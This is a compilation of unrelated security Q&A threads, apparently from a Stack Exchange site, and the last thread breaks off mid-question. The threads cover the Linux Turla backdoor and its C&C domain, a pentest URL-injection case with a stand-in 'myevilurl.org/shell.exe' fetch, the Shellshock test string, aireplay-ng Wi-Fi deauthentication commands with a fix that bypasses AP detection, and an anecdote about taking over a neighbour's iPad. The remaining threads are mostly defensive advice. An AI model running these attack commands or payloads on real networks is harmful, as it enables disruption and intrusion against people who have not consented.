Linux-based Turla trojan There are several articles describing the newly discovered Linux-based Turla trojan.

But basically, all these articles repeat the same, very limited, information.
Can anybody provide more details, such as:

How do linux machines get infected
Is there any privilege escalation involved, or is the whole thing only happening under the infected user (i.e. uid 1000)
Where does the malware code "live" on the infected machine
plus any other interesting details

TURLA is the final stage of a large and sophisticated family of malware.  There have been known Windows versions since at least 2010. This 40 page presentation is the most comprehensive resource I have seen, for either platform.

TURLA - development & operations

Some Windows Highlights

Stage 0: attack stage - infection vector
Stage 1: reconnaissance stage - initial backdoor
Stage 2: lateral movements
Stage 3: access established stage -TURLA deployed
On each stage they can quit if they lose interest in target

Stage 0: Injection Vectors

Spear Phishing (CVE-2013-3346)(CVE-2013-5065)
Watering Holes [Adobe Update social engineering / Java exploits (CVE-2012-1723), Adobe Flash exploits or Internet Explorer 6,7,8 exploits]
Third party supplier compromise

Stage 1: Reconaissance Stage

Initial backdoor - WipBot/Epic/TavDig
WipBot is a combination of a zero-day and a CVE-2013-3346 exploit
Exports functions with same names as TURLA. No other similarities
Breaks debugging and most malware sandboxes
Process hops several times, wipes its own PE section
Further described in Kaspersky Lab report

Stage 2: Lateral Movements

Refine C&C
Further penetrate network
Utilize new backdoor
Gets Domain Admin credentials

Stage 3: Turla

Dropped on select machines for long-term compromise
Machines can be compromised for years without detection

Other Resources

The 'Penguin Turla' - Kaspersky Lab (linux specific details)
Symantec Report - Turla

Linux Highlights

Turla module written in C/C++
Based on cd00r
Executable is statically linked against multiple libraries
Its functionality includes hidden network communications, arbitrary remote command execution, and remote management
Much of its code is based on public sources
Cannot be detected with netstat
Does not require root access

Linux Executable Characteristics

ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, stripped

Linux Statically Linked Libraries

glibc2.3.2 - the GNU C library
openssl v0.9.6 - an older OpenSSL library
libpcap - tcpdump's network capture library

Linux C&C Details

First stage C&C is hardcoded. Known activity @ news-bbc.podzone[.]org
pDNS IP: 80.248.65.183

Linux Startup/Execution Details

Process requires two parameters: ID (a numeric value used as a part of the "magic packet for authentication") and an existing network interface name
The parameters can be inputted two different ways: from STDIN, or from dropper a launching the sample
After the ID and interface name are entered and the process launched, the backdoor's process PID is returned

Linux Magic Packet

Statically links PCAP libraries
Gets raw socket, applies filter, captures packets
Checks for an ACK number in the TCP header, or the second byte from the UDP packet body
If condition is met, execution jumps to packet payload contents and creates regular socket
Backdoor uses new socket to connect to source address of Magic Packets
Backdoor reports its own PID and IP, waits to receive commands
Arriving commands are executed with a "/bin/sh -c " script

Final Notes

Everything regarding the linux version was from the Kaspersky report. Unfortunately, detecting seems to be very difficult at this point.

"Although Linux variants from the Turla framework were known to exist, we haven't seen any in the wild yet." - Kaspersky Lab


Can I check if a work colleague logged into my user account on a shared computer? I think that someone at work has logged onto my user account when I'm not in work and moved some files from my desk top to my work in progress.  Can this happen? They may know my user name as this is made up of each persons name but, I don't think anyone has may password. Can they still access my desktop etc?

Yes, it's actually quite easy, assuming you're on Windows and an administrator on your computer.

Start -> Right click "Computer" -> Manage
Expand Event Viewer on the left pane
Expand the Windows Logs folder.
Click on Security.

Now check through the logs. Look for entries that have Task Category set to Logon. You can use the filter functionality to only show those entries. An audit success means that a user logged on successfully, whereas an audit failure means a user failed to log on. You can see the dates and times that these attempts occured.


Is an improperly configured HTTPS site inherently more dangerous than plain HTTP? I'm on Firefox 54, and I noticed a site with a bad HTTPS configuration sometimes gets a large warning page, while there is not any such page yet for plain HTTP.

An improper TLS connection could be a positive signal that a middleman is interfering with the connection.

Imagine if you got a letter supposedly from a friend, but then at the end it was signed with someone else's name. If the letter wasn't signed, you probably would have trusted the letter, but the fact that it has someone else's signature is extremely worrying.


URL injection vulnerability I am busy with a pentest and found something that made me wonder if it would be exploitable. I am currently  not able to exploit it, but I wanted to make sure. Also I am curious why the application/server behaves as it does.

This is the functionality:

The application lets you upload pictures to the cloud and gives back an URL where the picture then is
The application then sends that return URL to the server where it is stored so that other people find the pictures through the URL
Based on some parts of the URL the users get a certain different URL back in a JSON document with all the pictures:

https://res.cloud.com/app/image/something/picture1.jpg

turns into:

{"URL":"https://res.cloud.com/app/image/param1,param2,param3/something/picture1.jpg"}

That JSON document is then used to create GET requests to the exact URL (second one)

This is the "vulnerability":

Changing the URL to the following:

http%73://myevilurl.org/pic1.jpg?https://res.cloud.com/app/image/something/picture1.jpg
the user then gets something back in the JSON document in the form of:

{"URL":"http%73://myevilurl.org/pic1.jpg?https://res/cloud.com/app/image/something/picture1.jpg"}
Which I would expect the application to just try to GET, but the application somehow does a GET request to:

https://RootServerOfApplication.com/NameOfApplication/^^The URL above with https instead of http%73^^

As this is an ongoing test I cannot really go into huge detail (confidentiality and all!). So I hope this provides enough information.

EDIT: What I failed to mention above is that when I tamper with the incoming JSON and just put any URL with HTTPS in the JSON string the application tries to GET that precise URL. So I change the JSON to something like this:

{"URL" : "https://myevilurl.org/shell.exe"}

The application actually tries to GET shell.exe from my server. This does not work when I try it with %73 instead of an s.

Edit2: What I also failed to mention is that this is an android app.

What you are witnessing is probably a mitigation for a common vulnerability, OWASP 2013 A10, Unvalidated Redirects and Forwards.

If the application simply redirected to the URL found in the JSON, verbatim, you'd have a problem.  Basically anyone who tampers with that JSON could send your browser anywhere they want.  This is called an unvalidated redirect.

But the application doesn't do that.  Instead, it redirects to a handler within the RootServerOfApplication.com domain, passing the URL from the JSON document as an argument.

Presumably, RootServerOfApplication.com/NameOfAplication takes a look at the URL and ensures it is valid (e.g. maybe it makes sure the domain is in a white list, one that presumbly includes cloud.com).  This mechanism would prevent it from forwarding an end user to myevilurl.org.

You should check it out.  Try pasting https://RootServerOfApplication.com/NameOfApplication/^^The URL above with https instead of http%73^^ directly into your browser and see where it takes you.


Offsite Incremental Encrypted Backups for a small law office I am the system administrator for a small law office.

We have a local file server on our network that holds all of our digital records.

I currently have this server being incrementally backed up nightly to one of the local machines using rsync. (Basic method: https://github.com/JoshuaD84/rotating-snapshots)

We would like to improve this system in the following ways:

Host a backup offsite
Encrypt the backup.

It would be very nice if the backup could be incrementally updated, so we don't have to upload 10 - 100GB every time we backup.

Is there any way to do incremental encrypted backups to a remote server? We have a small budget for solving this problem, if necessary.

Any of the myriad cloud backup providers (Backblaze, Carbonite, Mozy, etc.) have business/server plans that will give you an offsite incremental backup option, and many (if not all) provide the ability to use encryption with keys you control, which is of course critical for data as sensitive as legal documents.

Some things I would specifically look for:

Encryption on the client side, prior to upload, so unencrypted data never leaves your environment
Encryption using well known, standard, proven mechanisms that are well described.  You don't want to rely on YOLO crypto, and you should not have to guess about how your data is protected.
Encryption using keys you control.  The provider should not have access to the keys, and thus the ability to decrypt your data
Should provide key management considerations, like the ability to securely store keys in an HSM or TPM, and possibility the ability to rotate keys to prevent overuse.

There are many other factors of course, but these are a few of the most critical security considerations when considering off-site backup options.


Why do some email software products block SSL certificates attached to a message? Whenever I have to share our public SSL certificate with our trading partners through email, I have to change the filename extension of the attached file (i.e. from “.cer” to “.txt”) to ensure it is delivered without issues. Why is it so? Where is the possible threat?

Are you perhaps referring to Outlook that is blocking .cer, .crt and .der without giving a specific reason per filetype? More file types were blocked on March 6th 2020, but The Exchange Team doesn't give any more detailed reasoning than this (and many are wondering the same in the comment section):

  Why are we making this change?

  We’re always evaluating ways to improve security for our customers,
  and so we took the time to audit the existing blocked file list and
  update it to better reflect the file types we see as risks today.

Certificate attachments aren't blocked e.g. by Gmail, so it's not a universal practice.

The rationale might be to prevent scams asking to install malicious root certificates, although they have been quite rare on email attachments and mostly seen on web pages. The consequences would be bad, as it would allow intercepting TLS, appearing as someone else etc.

However, I'm not sure whether this really is any good practice, as

it requires more work when you actually need to send a certificate in an email.
it is equally easy to circumvent for malicious purposes.
all Microsoft Office documents are still allowed, having all kind of nasty macros.


Questionable request to /user/soapCaller.bs My webserver logs revealed a request to /user/soapCaller.bs from 220.226.188.32, which maps to Mumbai, India.  The HTTP user agent is called 'Morpheus * Scanner'.  My server returned a 404 error.

Obviously it is some kind of scanner, but I don't know any details.  Is it searching for vulnerabilities?  Does anyone have any information on this, and is it something to be worried about?

So the internet is a bad place. You have probably been scanned a thousand times before without noticing it,  everyone has.  There are bots that scan absolutely everyone for a handful of vulnerabilities in the chance of getting lucky.

Nothing special.


security leak in working with hardware write blockers? If a hard disk drive that contains malware, is connected to a hardware write blocker, that works on the lowest level, can this malware copy itself ,spread on the hardware write blocker or even on the computer/hardware/operation system that it's connected to?
My worry is that the malware may prevent me from making an image of the hard disk drive because it can interupt me from doing this in some way.
I saw a video with an HWB where the guy could still write to the HDD but only temporarly, so I guess it was only a RAM/cache on the HDD, after a restart it was gone.
He could ofc make copies from HDD through HWB to PC HDD/USB stick etc.
My worries is that the malware that is on HDD (read only because of HWB) can do that too.

What is the first step that the malware has to do?

abort from Zero-Day-Exploit and more, the question is more focused on the part of what the malware has to do, and if it is possible

There are a lot of concepts and assumptions mixed into this question.

First off although people commonly refer to "Hardware Write Blockers", there really is no such thing with modern disk drives. Many years ago, a hardware write blocker operated at a very low level by cutting the "write-line", making writing impossible. Disk drives haven't worked like that for decades. Current write blockers have firmware that is programmed to refuse to pass on commands known to cause writes. Out of date firmware and/or newer devices may in fact have commands that write but are not blocked. Generally this doesn't happen if they are kept updated, but this is why they are inline write blockers but not technically hardware blockers.

A device that is "write blocked" is still readable. The point is to protect and prevent modification of the device, it does not inhibit copying content (including malware) from the device to your machine to which it is connected. So yes, malware on the blocked device can be written to your other hard drives or USB sticks.

While often compared to biological analogues, computer viruses and malware are not independently dangerous like a biological. Computer malware is malicious software. It has to be invoked and run before it can do anything. Simply copying a piece of malware will not activate it. You can safely copy or image as much malware as you like. Copying does not invoke/execute the malware, it's just a file. The danger is in accidentally executing the malware. This could be as simple as double-clicking the file accidentally, or more indirectly by a system process trying to read and interpret the file in a manner that causes an error (such as a buffer overflow) resulting in code on the file being invoked. A preview mode for example may end up invoking the file without you intending to do so.

To recap: Write blockers protect the blocked device from modification, nothing else!


Can folders [alone] have viruses? I know that files can be infected, but can a Folder itself have a virus/trojan?

Not to my knowledge you can play around in the registry and make it so when a user opens a folder the computer will execute a file.


What can I do to increase the security of my app based on a shared secret? I'm working on an app that will run on a users TV and has a companion mobile app.

I wanted to present a QR code to my users from the the TV app, which is then scanned by the companion mobile app's camera.  I was originally thinking of encoding a v4 UUID in the QR code and use it as a shared secret between the two apps.  This value would uniquely identify that particular TV device.

Once the shared secrets have been exchanged, the apps would connect to my server via web sockets and listen/emit events for that UUID. There would be no other passwords or usernames.  This web socket communication would be done using WSS/TLS.

This service is a very simple message transport system between the mobile app and the TV app.  There is no database, no users, etc.  All messages are straight passthrough.

How bad of an idea is this?  If the shared secret is nearly impossible to guess, it seems pretty secure to me at first glance.  Is there anyway I could make it more secure?

One idea I had was to use some form of TOTP. That system is based on a shared secret as well, but it uses a time based component to modify the secret before exchanging/comparing. This would prevent the exposure of my real secret and prevent replay attacks.  However, for my application, I would need a time window much larger than traditional TOPT as I would like this key to be valid for more than a few seconds.

This is a problem that has been solved by OAuth 2 and Open ID Connect (OIDC). I would strongly suggest building on it rather than inventing your own protocol. Take a look at the OAuth 2 device workflow (Google has an excellent description).

First off, it helps to split authentication from authorization. Authorization is what you want to achieve (i.e. authorizing the TV). Whether the authentication workflow requires login or not, or involves multiple factors is something that should be considered separate from the authorization workflow and may be something you want to be configurable.

Diagram below outlines the OAuth 2 device workflow.

TV app                                    Server
   |                                        |
   |----------- request code -------------->|
   |<------- url & auth code (QR) ----------|
   |                                        |
   |   code             mobile     user     |
   |-- & url --> user --> app --> login? -->|
   |                                        |
   |---------------- poll ----------------->|
   |<-------------- token ------------------|
   |------- use token to register --------->|

The auth code can be in QR form that the user scans with the mobile app, or it can simply be a code that the user will have to manually type into their mobile app.

In the aforementioned Google link, what they describe as device ID may be the UUID you mentioned, but it could also be a securely generated random string associated with your app.

There are guidelines in OAuth 2 and OIDC for utilizing shared secrets, which are only necessary for protecting credentials. In the workflow above since the mobile app is responsible for authentication, it has the option of using a shared secret with the Server (also known as a confidential client) or not (also known as a public client).

The question of whether you need authentication depends on where your Server resides. If it is on the internet, authentication is recommended - many OAuth 2 server libraries/applications let you integrate with various social media accounts so this may not be as painful as you'd think. On the other hand if the Server resides in the user's local home network then perhaps authentication is not necessary.

There plenty of client and server OAuth 2/OIDC libraries that will make your life easier. For the server side you can even make use of server applications (e.g. Keycloak) sporting features such as TOTP to improve security.


How to patch Bash on OSX in wake of "shellshock"? My Mac is vulnerable, as this test shows:

x='() { :;}; echo VULNERABLE' bash -c : (source)

I am using the version of bash that came with it. I also use Homebrew. What is the preferred way to patch Bash?

First, you don't need to do this unless you are are offering web services to the public internet from your Mac. If you are not, wait until there is an official security update from Apple.

However, if you are offering web services, you might want to update.

Official Patch

Apple has released an Official Bash Security Update Here

Checking whether you are vulnerable

To confirm that you are using an outdated bash:

$ which bash
/bin/bash
$ /bin/bash --version
GNU bash, version 3.2.51(1)-release (x86_64-apple-darwin13)
Copyright (C) 2007 Free Software Foundation, Inc.

The most current bash is 4.3.25

Unofficial Update Method: Compile Bash from Source Code using Homebrew

If you don't have Xcode installed, you'll need the Xcode command line tools, which can be installed by

$ xcode-select --install

Or from the developer portal https://developer.apple.com/downloads/index.action?=command%20line%20tools download command_line_tools_for_osx_10.9_september_2014.dmg

To install Brew (http://brew.sh):

$ ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"

Then do:

$ brew doctor

Follow any instructions if there are problems. Many common problems are addressed at http://www.moncefbelyamani.com/how-to-install-xcode-homebrew-git-rvm-ruby-on-mac/#troubleshoot-homebrew

Then update brew to the latest list of packages:

$ brew update

To get the latest bash 4.3.25:

$ brew install bash

This installs bash into /usr/local/Cellar/bash/4.3.25/bin/bash

The old bash and sh still exists at /bin, so after installing you'll rename the old executables to a new file.

$ sudo mv /bin/bash /bin/bash_old
$ sudo mv /bin/sh /bin/sh_old

If you are very paranoid, you can remove execute permissions on the bash_old

$ sudo chmod a-x /bin/bash_old /bin/sh_old

Then create a symbolic link to the new bash 4.3.25 that brew installed.

$ sudo ln -s /usr/local/Cellar/bash/4.3.25/bin/bash /bin/bash
$ sudo ln -s /usr/local/Cellar/bash/4.3.25/bin/bash /bin/sh

Reboot and it is complete.

A warning — this may break some existing shell scripts that might rely on bash 3.2 or the differences that the Mac sh has over the linux sh. There is a much more sophisticated answer to replacing bash and sh from sources at
https://apple.stackexchange.com/questions/146849/how-do-i-recompile-bash-to-avoid-the-remote-exploit-cve-2014-6271-and-cve-2014-7

In most cases it is best to wait for official updates.

-- Christopher Allen


Authoritative DNS server resolve also any other domain - Is that a risk? In my organization (huge financial institute) there are 4 ns servers that are defined by NS DNS record to be the authoritative DNS servers of all of our public websites.
However, I found that those DNS server send responses also if they are queried about any other domain.

I wonder whether there are security risks in this behaviour. References will be appreciated as well.

There is a small security risk associated with running a public recursive name server. Those risks include the possibility of increased load or being used as being part of a DNS amplification attack

You will have extra load on your servers if they are public recursive name servers as people will end up using them. A non-recursive name server will just reply with the DNS equivalent 0f "I don't have the answer" if people try to use it instead of say 8.8.8.8 as their defined name resolver.

Additionally attackers can fake a from/client address when performing a DNS lookup as part of an amplification attack, where that fake address then gets the response. Attacks fake a huge amount requests and DDoS the faked address. Read more about them here: https://www.us-cert.gov/ncas/alerts/TA13-088A

You public authoritative name servers should respond only to requests for  you associated zones.

Hope that helps.


Bluetooth Peripheral Vulnerabilities I've read some interesting Bluetooth vulnerability questions, but I didn't notice one recently. Bluetooth has long been disabled in our organization, and I'm looking to enabling it because of repeated help desk calls regarding peripheral support.

I'm curious on the following:

The sole intention is to pair Windows 7 laptops to peripherals - human interface devices (HIDs) and printers - for field workers. Are there particular vulnerabilities to be concerned about?
Is there a reliable way to configure what kind of profiles can be paired, to ensure only peripherals can be used?
Is limiting discoverability the most important security measure? It seems if one forces the user to activate discoverability, most vulnerabilities are mitigated. Is this true?

The sole intention is to pair Windows 7 laptops to peripherals - human interface devices (HIDs) and printers - for field workers. Are
  there particular vulnerabilities to be concerned about?

Sure there is, not so much mouse interactions but say you have a bluetooth keyboard and I bluejack it, I can see everything you type, no different than a keylogger and its realtime and I don't have to capture and upload or anything, you are sending it to me on the fly.

  Is there a reliable way to configure what kind of profiles can be paired, to ensure only peripherals can be used?

You can use policies for that. On Windows machine (which I am assuming you are using based on the W7 comment) you can configure hardware restrictions using policy but again, not perfect as all BT devices don't properly classify their hardware. If you guys use the same devices are willing to do the work, you can hard code their hardware ids into the policies. Also you will need a pretty good robust version of Windows 7 (pro+), nothing budgetware (starter, home b/p).

  Is limiting discoverability the most important security measure? It
  seems if one forces the user to activate discoverability, most
  vulnerabilities are mitigated. Is this true?

Its the bare minimum effort in security and a must. A more robust pairing process has made interaction required to connect but being discoverable certainly makes the brute force easier because there is no time limit placed on it. So disabling discoverability will make it harder to bluejack but not impossible.

On a daily basis I see my neighbors smart tv, his mac, her ipad and so on show up and my computer tells me they exist, so you can imagine that if I was not an ethical hacker, they would not be happy campers. In fact I had to sit them down and tell them how to avoid broadcasting themselves like that. The wife was quickly dismissive about how much damage could be done until I showed her how long it took me to control her ipad, send her photos to her husband's email and have them see it all happen. Needless to say, I got a 6 pack of beer out of it :) and she is a convert. Sad part, I didn't even have to go black hat to do it, it was unsecured.


What is the benefit of OAuth "one-time code flow (hybrid authentication)"? With reference to the omniauth-google-oauth2 gem which describes what it calls "One-time Code Flow (Hybrid Authentication)" as such:

  This hybrid authentication flow has significant functional and security advantages over a pure server-side or pure client-side flow.

The readme then goes on to describe the mechanics of the flow itself, and finishes with:

  This flow is immune to replay attacks, and conveys no useful information to a man in the middle.

I haven't been able to find any explanation on the web about why this is so, or how it is superior to purely server-side OAuth 2.0 authentication.  Most material seems to talk only about the mechanics of various OAuth strategies.

More specifically, what I don't understand is this:  if it's the same information flowing between either client/server/auth provider or just server/auth provider, then isn't either strategy just as susceptible to attacks?

So as you have described, a "Hybrid Authentication" is a middle solution between pure server-side and pure client-side authentication. That means that all the tasks that are involved to get an authentication complete will need both the server and the client.

This is how a server-side authentication occurs:

you click signin button
you get the consent dialogue asking for your permission
you have to specify a (redirect URI)
you get 2 things:

1- get redirected to the redirect URI

2- get a code appended to the redirect URI (User ID Token)
you exchange the (User ID Token <-> Access Token, Refresh Token) from the google authorization server #NOT SECURE

This is how a one-time code flow occurs:

you click Sign In button (a state variable gets created in the background)
you get the consent dialogue asking for your permission
you have to specify a (redirect URI)
you get 2 things:

1- get redirected to the redirect URI (#State Variable gets redirected back with you)

2- get a code appended to the redirect URI (User ID Token)
you exchange that code with your server #VERY SECURE
(You hand in the code + state variable, and the server compares that state variable with the one that it has already) #NO CSRF
server exchanges the (User ID Token <-> Access Token, Refresh Token) from the google authorization server

So this exchange here is immune to both replay attacks and doesn't provide a MITM with any useful information, because even if the attacker intercepted any packets, he will still have to get that state variable and process the appended code through the server. In contrary to the pure server-side implementation where all the attacker has to do is to send the code to google in exchange with the access token and the refresh token.

Here is also a picture to put things into perspective, hope that the difference is more clear now.


Algorithms for 2FA over HTTPS? I'm developing an Authenticator App for use towards my own API. I know about the TOTP standard RFC 6238 and the HOTP variant. Though I would prefer to use a public/private key based solution (by only storing the public key on the server).

What are some more or less standardized alternatives?

Is a home invented challenge response scheme with a public/private key pair subject to attacks (in the context of a secure HTTPS channel)?

If you - for whatever reason - preferred a challenge response protocol that used asymmetric cryptography, you may want to take a look at the work of the FIDO alliance.

This seems however to be an XY Problem. It's not clear why welldefined, secure methods for second factor usage are out of scope for you. Also, as a sidenote: Please do NOT roll you own crypto!

The gist of the linked QA: You are almost 100% guaranteed to make a mistake that can later be exploited.


weird visitors to my website For the last three months I have thousands of real visitors to a single page on my website. Those visits are recorded in Google Analytics and count as page views in adsense reports, but they are fake:

They are not generated by spam software / prox5yy or a BOT.
All are real IPs from US, Canada, Europe (no spammy IP, I checked it). All my regular visitors from Africa/Asia.
In Google Analytics the visits recorded as direct access. Time on Page: 00:00:10 sec.
In adsense, thousands of page impressions, but no single click.
I have never advertised my website.
All requests method is GET.

I can't understand what is going on. I tried everything with my page before I deleted it. With Javascript I checked:

My page is not included in a frame or iframe.
My page is not opened as popup windows.
No page referrals at all. I checked with IIS logs and programatically.

All visitors are using MIE , 6, 7, 8, 9 only. No Firefox, Safari, Chrome, etc. My best guess was that someone was embedding my page inside a software (browser object / activex).

It was easy to delete the page and forget it, but the huge problem now is that whoever was doing this has replaced that forgotten page with my default website URL. Along with this altering I began to have other strange requests from the same style visitors (US-Europe / MSIE) to weird pages like /amgdgt/ife.html /adx-iframe-v2.html.

Any suggestions to identify what's going on?

My last explanations :
A malware / trojan / bot , is using my page name as a referrer to fool advertising companies !

I found my page listed in snort.org 's log file  like this :
ib.adnxs.com/ptj?member=77764&size=160x600&inv_code=77142343&referrer=http://www.mywebsite.com/myoldpage.html&redir=http://ad.yieldmanager.com/st/anmember=7764%26anprice=7BPRICEBUC..

But why the requests to my website ?!!

Anyway , anybody has any idea about an Ads bot acts like this ? and how to stop it ?

It is a Trojan affects Windows PCs , named TROJ_OBVOD.TA or Trojan.Obvod .
Discovered:    July 14, 2012.
This Trojan connects to the following sites to obtain a list of URLs where the malware accesses/visits for pay-per-click scheme:

{BLOCKED}3.*.in

The list contain a hundred URLs including mine .


Secure Software Architecture I am designing a software architecture and i need some suggestion and clarification on few issues.

This will be a server side RESTfull API for accessing data and multiple mobile/desktop client to access to API, collect some data and digital goods to consume in clients. It will be accessed over HTTPS

Clients will be iOS (Swift 2), Android (Java), Windows Phone (C#), Windows (C#), Windows Store (C#), Mac (Swift 2), Web (C#/JavaScript/HTML), Linux (Programming Language is not clear yet)

Server side applications programming language will be C# on .Net Framework 4.6 and it will run on Azure

Clients can be run on a Computer (MAC, PC, Linux), Browser, Smart phone or Tablet (iOS, Android, Windows Phone, Windows Store)

Clients will authenticate to REST service by using oAuth 2, then member will authenticate by using its username and password. Member Unique Id will be stored in client database to authenticate and request to API for the further steps/request since there will be no login required if member logs-out intentionally.

When member request from API there will be a download process for medium size digital files (like pdf or video files about 200 mb). Files will be encrypted on the server to decrypt on the client while it is consuming. That means we will decrypt digital products on runtime, so no file will be stored in the client decrypted. So my decryption must be very fast and low resource consuming but secure.

Members will be allowed to register -let’s say- 3 devices to use client software

Client devices will be registered automatically when member first use the app on the device.

Files needs to be consumed in the client if the client is registered, member is valid and digital product is bought by member. No other member or any other software will not be able to consume products.

Here is my initial approach to implement above requirements in the software so i can secure products and the system:

  I could not managed to enter all my explanations in here because form
  was saying this is a spam. that is why i have add a link below so you
  can find all my notes in there

  https://cryptbin.com/EDu#716f72dbd22ede12531a83cba4e464fb

Here my questions;

I will keep my members password in database with SHA-512 hash. I will use SALT for password. So i will keep SALT keys in database for each member. Is it safe and ok to implement that way?
Should i keep IV (Initialization Vector) in the database for each product so i can use it for encryption? If so i need to expose it via my API so client can obtain it to decrypt. Is it safe to expose?
Which encryption and Hashing algorithm is best to use in different environment without any problem. I will decrypt files in iOS, Android, Windows Phone, Windows, Mac etc. All native I know it from a friend that he used AES-128 and MD5 on server to encrypt but he face lots of problem on different clients when tried to decrypt files.
I am planning to use AES-256 (Cipher Mode: CBC, Padding Mode: PKCS7, with IV) and SHA-512. Any comment on this choices?
I will store 2 different Validation Password and 2 different Encryption password in database so i can use it with AES and SHA-512. But i need to store same passwords in the client code as hardcoded text so i can decrypt product. But this password can be stolen by de-obfuscating it. What is the best way keep this 4 password in the client environment as well as other important client information?
When i publish iOS, Android and Windows Phone, Windows Store, Mac apps to the markets then they are getting obfuscated and signed automatically. I will manually sign and obfuscate my Windows Application. Is it enough to protect my code against curious people?
I am using some data to encrypt or hash files or information. I have to expose that data over API so my clients can obtain it and use them for decryption. Is it safe to do it? Is there any other way to do it?
Any suggestion on the architecture i explain above? Do you predict any kind of vulnerability on the approach?

PS: I can give more details if we need to clarify anything.

I will keep my members password in database with SHA-512 hash. I will
use SALT for password. So i will keep SALT keys in database for each
member. Is it safe and ok to implement that way?

Yes, if you are using salt (which you should) then you should store the salt (in the clear) alongside the hash.

Should i keep IV (Initialization Vector) in the database for each
product so i can use it for encryption? If so i need to expose it via
my API so client can obtain it to decrypt. Is it safe to expose?

It depends on what encryption scheme / mode you are using, but since you mentioned AES-CBC, there is no requirement to keep the IV secret. The only requirement is that the IV be random / unpredictable.

Which encryption and Hashing algorithm is best to use in different
environment without any problem. I will decrypt files in iOS, Android,
Windows Phone, Windows, Mac etc. All native I know it from a friend
that he used AES-128 and MD5 on server to encrypt but he face lots of
problem on different clients when tried to decrypt files.

Encryption and hashing algorithms are language and OS agnostic, you should be able to find implementations in most languages. AES and the SHA family are especially well supported and widely used. I'm not sure what problems your friend is encountering (and generally you'll want to avoid MD5).

I am planning to use AES-256 (Cipher Mode: CBC, Padding Mode: PKCS7,
with IV) and SHA-512. Any comment on this choices?
I am using some data to encrypt or hash files or information. I have
to expose that data over API so my clients can obtain it and use them
for decryption. Is it safe to do it? Is there any other way to do it?

I'm going to combine these two points. I'm going to assume when you say AES-256 and SHA-512 you mean AES for encryption and SHA as an integrity check for the message. There's a problem with this: say you encrypt the message and then compute the hash for integrity. Given that you are using CBC mode an adversary can (for example) do a bit flipping attack and then recompute the hash of the modified ciphertext and you would be none the wiser. In general you would want to use a keyed hash (like HMAC) for integrity and authenticity.
Now (and to your second point), there's something called Authenticated Encryption with Additional Data (AEAD) which will actually take care of the problems addressed in the previous paragraph (will provide confidentiality, integrity and authenticity without having to construct a scheme from primitives). It will also allow that some data (the additional data) be kept in the clear, but will still ensure the integrity of that data. Look into GCM mode (e.g. AES-GCM).

I will store 2 different Validation Password and 2 different
Encryption password in database so i can use it with AES and SHA-512.
But i need to store same passwords in the client code as hardcoded
text so i can decrypt product. But this password can be stolen by
de-obfuscating it. What is the best way keep this 4 password in the
client environment as well as other important client information?

I'm not an expert in this regard but it I would highly advise against hardcoding a password into the client. Any reasonably clever attacker will be able to recover this password in minimal time, so there's really no security gained here.

When i publish iOS, Android and Windows Phone, Windows Store, Mac apps
to the markets then they are getting obfuscated and signed
automatically. I will manually sign and obfuscate my Windows
Application. Is it enough to protect my code against curious people?

My understanding is that signing code / an app is to prove the authenticity of the code to the end user, so as to ensure that an adversary has not backdoored the code /app they downloaded or something along those lines, and not to make decompiling / reverse engineering more difficult. Obfuscation may also not be enough to keep a dedicated adversary from figuring out how your source works or recovering sensitive data in your code. It has always struck me as a case of security through obscurity.


Should service accounts be set to never lock out I have been in a discussion lately with our security team, and I want to get an answer from this group.

Currently our security policy states that domain accounts will lock out after 5 failed attempts.  This goes for all domain accounts, including service accounts.  To be clear, I refer to a service account as an account used by applications to authenticate and "run" as that user.

I see a big problem with allowing service accounts to lockout, it creates an easy DoS for that service.  Any rogue employee who knows the account, can simply fail 5 login attempts and the service will stop as it can no longer communicate with databases, and other servers.  I have locked out accounts setting up a new server and having an extra space at the end of the password.

I ask, given the risks, why should service account be allowed to lock out after x number of failed logins?

The automatic locking is a defence mechanism against online dictionary attacks: the attacker wants to try potential passwords, repeatedly, until he finds the right one. Blocking after 5 attempts prevents the attack from actually working.

This makes sense only if the password is vulnerable to a dictionary attack, i.e. if the password was generated in the privacy of a human brain. Such biological entities are simply not good at being random. So human-chosen passwords are not strong, and require extra protection.

A service account should not have a weak password, chosen by a human. Such a password is entered only during configuration phases, by administrators, who will not have to remember it. A service account password should be generated with a computer, and be fatly random. With 16 random characters (uppercase and lowercase letters, digits, and a couple punctuation signs), you will have 96 bits of entropy, way more than enough to resist dictionary attacks. This is the kind of password that your service accounts should have. If you use such passwords, then the automatic locking becomes useless, and you can deactivate it, since (as you discovered) it has some inconvenient side-effects.

To generate such a random password, use the following command line on any Linux machine:

(dd if=/dev/urandom bs=12 count=1 2>/dev/null) | openssl base64 -a -e

On Windows, use PowerShell:

$rng = New-Object System.Security.Cryptography.RNGCryptoServiceProvider
$buf = New-Object byte[] 12
$rng.GetBytes($buf)
[System.Convert]::ToBase64String($buf)


Problem regarding beacon frames and bssids I try to run a deauthentication attack:

aireplay-ng --deauth 100000 -a 06:CB:51:F8:6B:5F -c 64:89:F1:07:CC:4B wlan0

but it shows me this error:

15:19:28  Waiting for beacon frame (BSSID: 06:CB:51:F8:6B:5F) on channel 44
15:19:38  No such BSSID available.

what should I do? This bssid is valid and has like 5 of my household devices connected to it.

try this:

ifconfig wlan0 down
aireplay-ng --deauth 100000 -a 06:CB:51:F8:6B:5F -c 64:89:F1:07:CC:4B -D wlan0

Disable wlan before attacking and disables AP detection.
Some modes will not proceed if the AP beacon is not heard. This disables this functionality.[1]


An attack from my Employer I am working in an ISP company as a junior support specialist.
Recently, I have a serious suspicions that one of our "head" stuff member is compromising me by being able to control(see) my traffic..
I think he uses such attacks as: "man in the middle attack", "port mirroring" etc.. And obviously, I really want to know how to detect and prevent "his" attacks.

Thanks in advance )

Usually, inspection and filtering of all the network activity of employees by employers is lawful. Details depend on the country and its laws, of course, but the generic framework is that as long as it was specified in the hiring contract, then the employer can spy as much as he wants -- for company resources, of course, no question about tapping into your personal phone or things like that.

Therefore, your "head staff member" might just be doing his job.

If you have strong suspicions that this "head staff member" spies on you in an illegal and unwarranted way, then you should relay your suspicions to his manager. Trying to counter him "technically" (for instance by playing with the routers) would be puerile, illegal, and would only plunge you into bigger trouble.


How can I use X.509 cross signing to replace a CA? I have a self-signed CA that I want to rotate the key for. I want to use cross-signing to facilitate this, with gradual replacement of the certificate on the clients so they can still communicate.

I'm using cfssl, but can't figure out practically how to get this to work. For testing purposes I've generated two new CAs with identical CNs and cross-signed them:

cfssl gencert -initca ca-csr-A.json | cfssljson -bare ca-A
cfssl gencert -initca ca-csr-B.json | cfssljson -bare ca-B

